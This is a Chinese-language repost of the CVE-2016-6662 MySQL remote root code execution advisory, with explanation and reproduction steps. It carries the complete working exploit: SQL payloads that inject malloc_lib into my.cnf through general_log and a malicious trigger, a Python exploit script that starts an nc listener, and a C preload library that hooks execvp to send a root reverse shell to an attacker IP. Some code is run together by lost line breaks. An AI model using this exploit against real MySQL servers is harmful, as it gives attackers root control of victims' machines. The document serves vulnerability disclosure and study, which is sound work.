I. VULNERABILITY

MySQL <= 5.7.15 远程代码执行/权限提升 (0day)

5.6.33

5.5.52

克隆mysql的同样受影响, 包括:

MariaDB PerconaDB

II. INTRODUCTION

一个独立的研究组织发现多处严重的Mysql漏洞,此次通报的是其中比较严重的一个漏洞CVE-2016-6662,它允许攻击者远程注入恶意设置到被攻击服务器的Mysql配置文件(my.cnf)中,导致更加严重的后果。

该漏洞影响所有默认配置的Mysql版本分支(5.7、5.6、5.5),包括最新的版本,并可能被攻击者进行本地或者远程的利用。exp既可以通过网络连接或者利用类似phpmyadmin之类的web管理工具,以及SQL注入漏洞等。

SQL注入漏洞是在web应用中最常见的漏洞之一,在存在注入漏洞的情况下,攻击者可以配合CVE-2016-6662进行更加深入的入侵。如果被攻击服务器有运行受影响的mysql版本,攻击用该漏洞的EXP可以以root权限执行任意代码,从而完全控制被攻击服务器。

目前官方还没有提供针对该漏洞的补丁,即使服务器开启了SELinux安全模式,也会受到该漏洞Exp的影响。该通报后面提供一个该漏洞的Poc,演示攻击者如何实现远程代码执行。

III. DESCRIPTION

默认的Mysql安装包自带mysql_safe脚本,启动mysql服务器就可以观察到,例如,假如进行mysql全面更新。

Debian系统:

root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 8.5 (jessie)
Release:    8.5
Codename:   jessie
root@debian:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1

通过运行如下命令启动Mysql(用默认Debian仓库提供的软件包安装)

root@debian:~# service mysql start

或用如下方式启动:

root@debian:~# /etc/init.d/mysql start

Mysql服务的进程树看起来如下:

root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

可以看出,mysqld_safe封装脚本是以root权限启动的,而主要的mysqld进程是用较低权限的mysql用户启动的。

mysqld_safe封装脚本有以下功能 :

----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {malloc_lib="$1"if [ "$malloc_lib" = tcmalloc ]; thenpkglibdir=`get_mysql_config --variable=pkglibdir`malloc_lib=# This list is kept intentionally simple.  Simply set --malloc-lib# to a full path if another location is desired.for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; dofor flavor in _minimal '' _and_profiler _debug; dotmp="$libdir/libtcmalloc$flavor.so"#log_notice "DEBUG: Checking for malloc lib '$tmp'"[ -r "$tmp" ] || continuemalloc_lib="$tmp"break 2donedone
[...]
----------[ eof ]---------------

它可以用来在启动服务之前加载共享库,库文件可以通过下面的参数进行设置:

–malloc-lib=LIB

这个参数也可以在mysqld的配置文件中指定(my.cnf中),在[mysqld]或者[mysqld_safe]部分。

如果攻击者能够将其恶意的库文件路径插入到配置文件中,就可以加载任意库,当mysql服务重启(手动、系统更新包更新、系统重启等)时,可以以root权限执行任意代码。

2003年公布的一个mysql 3.23.55之前版本的漏洞,允许攻击者利用一个简单的语句创建mysql配置文件:

SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'

这个漏洞被修复,利用outfile查询创建的文件默认是没办法覆盖现有文件的,这样可以保护现有的配置文件。该漏洞已经在mysql 3.23.55版本中修复,写入配置文件已经算不可能了。

然而POC证明,有可能利用Mysql的日志功能(默认方式安装的mysql)绕过当前的限制,来实现如下的目标: 1,注入恶意配置文件到现有的mysql配置文件中,前提是配置文件权限配置不当,配置文件所属用户是mysql用户,并且mysql用户有配置文件的可写权限; 2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。 3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在位置添加修改配置文件。

IV. PROOF OF CONCEPT

1,利用不正确的权限配置(配置文件所属mysql用户,mysql用户有可写权限)注入恶意配置到mysql的配置文件;

当mysqld_safe脚本执行时,mysql配置文件从所有支持的位置逐一加载和处理,确切的配置文件位置取决于mysql的版本。 例如,如上所述: http://dev.mysql.com/doc/refman/5.5/en/option-files.html mysql5.5的配置位置包括:

/etc/my.cnf 全局配置

/etc/mysql/my.cnf 全局配置

SYSCONFDIR/my.cnf 全局配置

$MYSQL_HOME/my.cnf 服务特定配置

默认额外文件,如果有~/my.cnf,用–defaults-extra-file参数来指定用户特定的配置。

目前有一种常见误解是mysql用户必须有mysql配置文件的所属权限,才能让服务正常工作。许多安装指南,甚至安全指南经常错误的建议用户给予mysql用户mysql配置文件或目录的所属权限。 例如:

https://github.com/willfong/mariadb-backup/blob/master/README.md

提到:

用如下命令设置配置文件权限:

chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf

而在如下文章中提到:

http://www.devshed.com/c/a/mysql/security-issues-with-mysql/

"你应该保护全局配置文件/etc/my.cnf,如果存在的该文件,所属用户应该是mysql用户,并且mysql用户要有读写权限,但其它用户只需要只读权限"。

shell> chown mysql /etc/my.cnf"

如果mysql用户有mysql配置文件的所属权限,攻击可以追加恶意的配置项,如下所示:

root@debian:~/# ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M

攻击者可以运行下面的SQL查询:

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

然后配置文件将增加如下的部分:

root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query    select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query    set global general_log = off

这个配置将会让mysql启动失败,因为该文件中包含一些冗余的信息,然而最重要的部分是mysql配置文件包含了以下部分:

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

在mysqld守护进程启动之前,mysqldsafe将正确的读取共享库的路径,并把它添加到LDPRELOAD环境变量。然后预装库的fopen()函数在mysqld守护进程启动之前处理和清理配置文,为的是mysql能够正常启动。

2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。

mysqldsafe脚本的分析表明,在除上文中提到的配置文件位置之外,在mysql5.5、5.6版本中mysqldsafe在默认情况下还会从mysql的数据目录(/var/lib/mysql/my.cnf)加载配置文件,如下:

----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------

从mysql 5.7开始移除了这个功能,然而在很多配置中,任然是从如下位置加载配置文件:

/var/lib/mysql/.my.cnf

mysql用户是有mysql数据目录(/var/lib/mysql)写权限的:

root@debian:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/

因此,如果没有所属mysql用户的配置文件,攻击者可能仍然能够利用此漏洞在如下位置创建配置文件:

/var/lib/mysql/my.cnf /var/lib/mysql/.my.cnf

正如前文提到的,用file权限创建这样的文件:

SELECT '恶意配置内容' INTO OUTFILE '/var/lib/mysql/my.cnf'

是行不通的,因为通过这种方式创建的文件权限如下:

-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf

mysql在启动的时候会组织这种全部可写的配置,但是攻击者利用该漏洞可以绕过这个限制:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select ''> '> ; injected config entry'> '> [mysqld]'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so'> '> [separator]'> '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

以上SQL创建一个具有必要权限(other用户没有读写权限)的可供mysql守护进程解析的配置文件:

# ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf

这个文件包含的内容如下:

# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:48:22    43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23    43 Query set global general_log = off

然而,依然存在一个问题,mysql会拒绝不以“[”符号开头的文件,会报错如下:

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted

不过深入的测试证明可以绕过此安全限制导致的错误,继续看下文。

值得大家注意的是,cve-2016-6662漏洞的报告者利用其它漏洞可以轻易的创建任意内容的/var/lib/mysql/my.cnf配置文件,并不需要file权限,只是报告者并未披露其它的漏洞。

3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在位置添加修改配置文件。

如果攻击者没有访问日志功能的管理权限,只有标准用户权限与另外的file权限,那么攻击者仍然可以获得写入修改配置文件的能力,可以利用一个恶意的触发器来实现:

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERTON `active_table` FOR EACH ROW
BEGINDECLARE void varchar(550);set global general_log_file='/var/lib/mysql/my.cnf';set global general_log = on;select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;   set global general_log = off;
END;

利用类似的语句创建触发器

SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'

当表刷新的时候就会执行触发器,比如通过insert来让表刷新:

INSERT INTO `active_table` VALUES('xyz');

触发器的代码会以mysql root权限执行,从而让攻击者修改general_log设置,即使攻击者没有数据库管理员权限。

V. PROOF OF CONCEPT – 0day

----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
#!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):print "[+] " + str + "n"
def errmsg(str):print "[!] " + str + "n"
def shutdown(code):if (code==0):info("Exiting (code: %d)n" % code)else:errmsg("Exiting (code: %d)n" % code)exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:errmsg("Failed to connect to the target: {}".format(err))shutdown(1)
try:cursor = dbconn.cursor()cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)print error shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:content = f.read()hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERTON `poctable` FOR EACH ROW
BEGINDECLARE void varchar(550);set global general_log_file='/var/lib/mysql/my.cnf';set global general_log = on;select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;   set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\nAFTER INSERT\n   ON `poctable` FOR EACH ROW\nBEGIN\n\n   DECLARE void varchar(550);\n   set global general_log_file=\'%s\';\n   set global general_log = on;\n   select "\n\n# 0ldSQL_MySQL_RCE_exploit got here :)\n\n[mysqld]\nmalloc_lib=\'%s\'\n\n[abyss]\n" INTO void;   \n   set global general_log = off;\n\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:cursor = dbconn.cursor()cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:cursor = dbconn.cursor()cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:cursor = dbconn.cursor()cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:cursor = dbconn.cursor()cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:cursor = dbconn.cursor()cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(2)
finally:dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)

下面是0ldSQLMySQLRCEexploit.py脚本要注入的共享库内容,当mysqld守护进程启动的时候,mysqldsafe会加载该恶意的共享库,然后会主动连接远程攻击者坚挺的6603端口,并给攻击者反弹一个root shell。

python脚本首先会创建修改mysql配置文件,加入如下内容:

[mysqld] malloclib=mysqlhookandroot_lib.so

然后当mysqld启动的时候,mysqld_safe会加载.so文件中的恶意内容,然后.so文件中的execvp()函数首先会清理掉mysql配置文件中插入的垃圾内容,只保留[mysqld]这个字段,以确保mysqld服务能正常启动,之后就会向攻击者反弹一个root shell。在使用该文件的时候,需要调整一个接收shell的IP和端口,以及配置路径等。

使用如下命令进行编译:

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

mysqlhookandrootlib.c内容如下:

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {int i; int sockfd;//socklen_t socklen;struct sockaddr_in srv_addr;srv_addr.sin_family = AF_INET; srv_addr.sin_port = htons( SHELL_PORT ); // connect-back portsrv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip // create new TCP socket && connectsockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));for(i = 0; i <= 2; i++) dup2(sockfd, i);execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );exit(0);
}
/*cleanup injected data from the target config before it is read by mysqldin order to ensure clean startup of the serviceThe injection (if done via logging) will start with a line like this:/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {FILE *conf;char buffer[2000];long cut_offset=0;conf = fopen(INJECTED_CONF, "r+");if (!conf) return 1;while (!feof(conf)) {fgets(buffer, sizeof(buffer), conf);if (strstr(buffer,"/usr/sbin/mysqld, Version")) {cut_offset = (ftell(conf) - strlen(buffer));}}if (cut_offset>0) ftruncate(fileno(conf), cut_offset);fclose(conf);return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {pid_t  pid;int fd;// Simple root PoC (touch /root/root_via_mysql)fd = open("/root/root_via_mysql", O_CREAT);close(fd);old_execvp = dlsym(RTLD_NEXT, "execvp");// Fork a reverse shell and execute the original execvp() functionpid = fork();if (pid == 0) reverse_shell();// clean injected payload before mysqld is startedconfig_cleanup();return old_execvp(filename, argv);
}

复现测试流程: 

1,创建一个测试用的数据库,并创建测试用户的账号和权限,如下:

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

2,将存在的mysql配置文件的所属用户修改成mysql用户,如下:

# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf

3,用attacker用户运行该exp,运行完毕重启mysql服务 首先,在.c文件中输入你的库路径; 接着,运行.py脚本。 如:

attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf

4,然后在定义的接收反弹shell的服务器用nc监听6033端口即可收到反弹的shell。

详细漏洞测试过程,是在ubuntu 14.04中测试的。

1,安装mysql-server ,mysql-client

sudo apt-get install mysql-server mysql-client

2,安装gcc

sudo apt-get  install  build-essential

3,安装exp脚本中用到的mysql connector,下载地址

http://cdn.mysql.com//Downloads/Connector-Python/mysql-connector-python1.2.3-1ubuntu12.04all.deb

4,创建测试用的数据库,以及需要账号及权限

mysql> create database pocdb;
Query OK, 1 row affected (0.00 sec)
mysql> grant file on *.* to 'attacker'@'%' identified by 'hello123';
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT SELECT,INSERT,CREATE ON `pocdb`.* TO 'attacker'@'%';
Query OK, 0 rows affected (0.00 sec)

注意上面这条中数据库名是用反引号括起来的。

5,编译mysqlhookandrootlib.c文件,编译之前,修改内容如下:

#define ATTACKERS_IP "182.92.100.1"
#define SHELL_PORT 1234
#define INJECTED_CONF "/etc/mysql/my.cnf"

其中IP、端口是另外一台需要监听的服务器的,执行exp之后被攻击服务器会主动向上面的IP跟端口反弹一个root权限的shell。

my.cnf是我的测试环境中配置文件的默认位置。

编译命令:

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

6,修改/etc/mysql/my.cnf的所属用户及组

chown mysql:mysql /etc/mysql/mysql.cnf

7,唯一鸡肋的地方是需要对ubuntu的apparmor相关的配置,不然exp执行的时候会报错误6,会提示

ERROR 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)

centos的话应该是需要关闭selinux,不过看漏洞介绍说不关闭这个的情况下也能利用,可能是描述有误吧。

修改方法:

sudo vi /etc/apparmor.d/usr.sbin.mysqld

修改成如图所示:

修改完成之后执行:

sudo /etc/init.d/apparmor reload

8,然后将编译好的.so文件以及.py文件放到同一个目录,执行如下命令:

sudo python mysqlRECexploit.py -dbuser attacker -dbpass 'hello123' -dbhost 127.0.0.1 -dbname pocdb -mycnf /etc/mysql/my.cnf

执行成功后如图所示:

然后在之前设定的那个服务器上就会接收到root权限的shell,如图:

引用

【技术分享】CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行分析

http://bobao.360.cn/learning/detail/3026.html

【漏洞预警】Mysql代码执行漏洞,可本地提权(含exp,9/13 01点更新)

http://bobao.360.cn/learning/detail/3025.html

cve-2016-6662 mysql远程代码执行/权限提升 漏洞相关推荐

  1. c++获取一段代码的执行时间_微软IE浏览器JScript脚本引擎远程代码执行漏洞通告...

    文档信息 编号 QiAnXinTI-SV-2019-0022 关键字 IE JScript RCE 远程命令执行CVE-2019-1367 发布日期 2019年09月24日 更新日期 2019年09月 ...

  2. 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...

  3. Gitea 1.4 未授权远程代码执行漏洞复现

    ​Gitea 1.4 未授权远程代码执行 一.漏洞描述 Gitea是从gogs衍生出的一个开源项目,是一个类似于Github.Gitlab的多用户Git仓库管理平台.其1.4.0版本中有一处逻辑错误, ...

  4. CVE-2021-1647:Microsoft Defender远程代码执行漏洞通告

    报告编号:B6-2021-011301 报告来源:360CERT 报告作者:360CERT 更新日期:2021-01-13 0x01漏洞简述 2021年01月13日,360CERT监测发现Micros ...

  5. struts2远程代码执行漏洞合集

    声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中.例 ...

  6. kingdee漏洞存在多个安全漏洞(通用管理账号+获得数据库密码+远程代码执行)

    kingdee漏洞详情,金蝶eas存在通用管理账号+获得数据库密码漏洞,金蝶apusic存在远程代码执行漏洞. 下面的信息希望乌云在确认漏洞予以模糊处理,以免对厂商和用户产生不良影响: 漏洞一.金蝶e ...

  7. 三星安卓5.0设备WifiCredService 远程代码执行

    netwind · 2015/11/26 14:24 From:http://blog.quarkslab.com/remote-code-execution-as-system-user-on-an ...

  8. wordpress php执行短代码_【漏洞通告】PHP远程代码执行漏洞(CVE-2019-11043)

    1.综述2019年9月14日至18举办的 Real World CTF中,国外安全研究员 Andrew Danau 在解决一道CTF题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常 ...

  9. cve-2018-7600 drupal核心远程代码执行漏洞分析

    0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...

最新文章

  1. server vscode中的live_太方便了!这款神器能在浏览器中运行 VS Code,随时随地写代码...
  2. android界面数据存储,Android应用开发基础之数据存储和界面展现(二)
  3. Keil进入仿真,窗口不显示程序运行箭头
  4. 电脑音响怎么插_【图片】汽车音响改装案例本田CRV改装德国HELIX汽车音响_汽车音响改装吧...
  5. 全球及中国多功能小推车行业消费需求与未来产销前景分析报告2022版
  6. 矩阵树 Matrix-Tree 定理实现模板(高斯消元求解行列式)
  7. vnc viewer通过浏览器_浏览器中的Ubuntu 20.04 LTS(Focal Fossa)
  8. so easy(2019徐州icpc网络赛B)
  9. SWT多线程注意事项
  10. 袁桂英(帮别人名字作诗)
  11. OpenCV-python学习笔记(四)——smoothing and blurring平滑和模糊
  12. 华为手机助手 for Mac(华为手机管理软件)中文版
  13. 污水流量计常见故障形成原因检测方法
  14. OSG正二十面体均分球面
  15. vs2010专业版下载链接
  16. 一台电脑安装两个jdk的方法
  17. android仿ppt,android 仿ppt进入动画效果合集
  18. BreederDAO 宣布与 20 多个区块链游戏建立官方合作关系
  19. ‘mysql‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
  20. ZIP文件格式-笔记

热门文章

  1. 互联网协议 — SCTP 流控制传输协议
  2. 用 Flask 来写个轻博客 (34) — 使用 Flask-RESTful 来构建 RESTful API 之三
  3. c程序设计语言_习题1-9_将输入流复制到输出流,并将多个空格过滤成一个空格...
  4. 32位系统和64位系统的选择
  5. 使用PHP处理POST上传时$_FILES数组为何为空
  6. Win7快捷方式图标不显示解决办法
  7. 在Eclipse中导入Tiny工程,有下面的错误,是什么原因?
  8. C#字符串二进制互换
  9. vim编辑二进制文件
  10. Go 语言 XML处理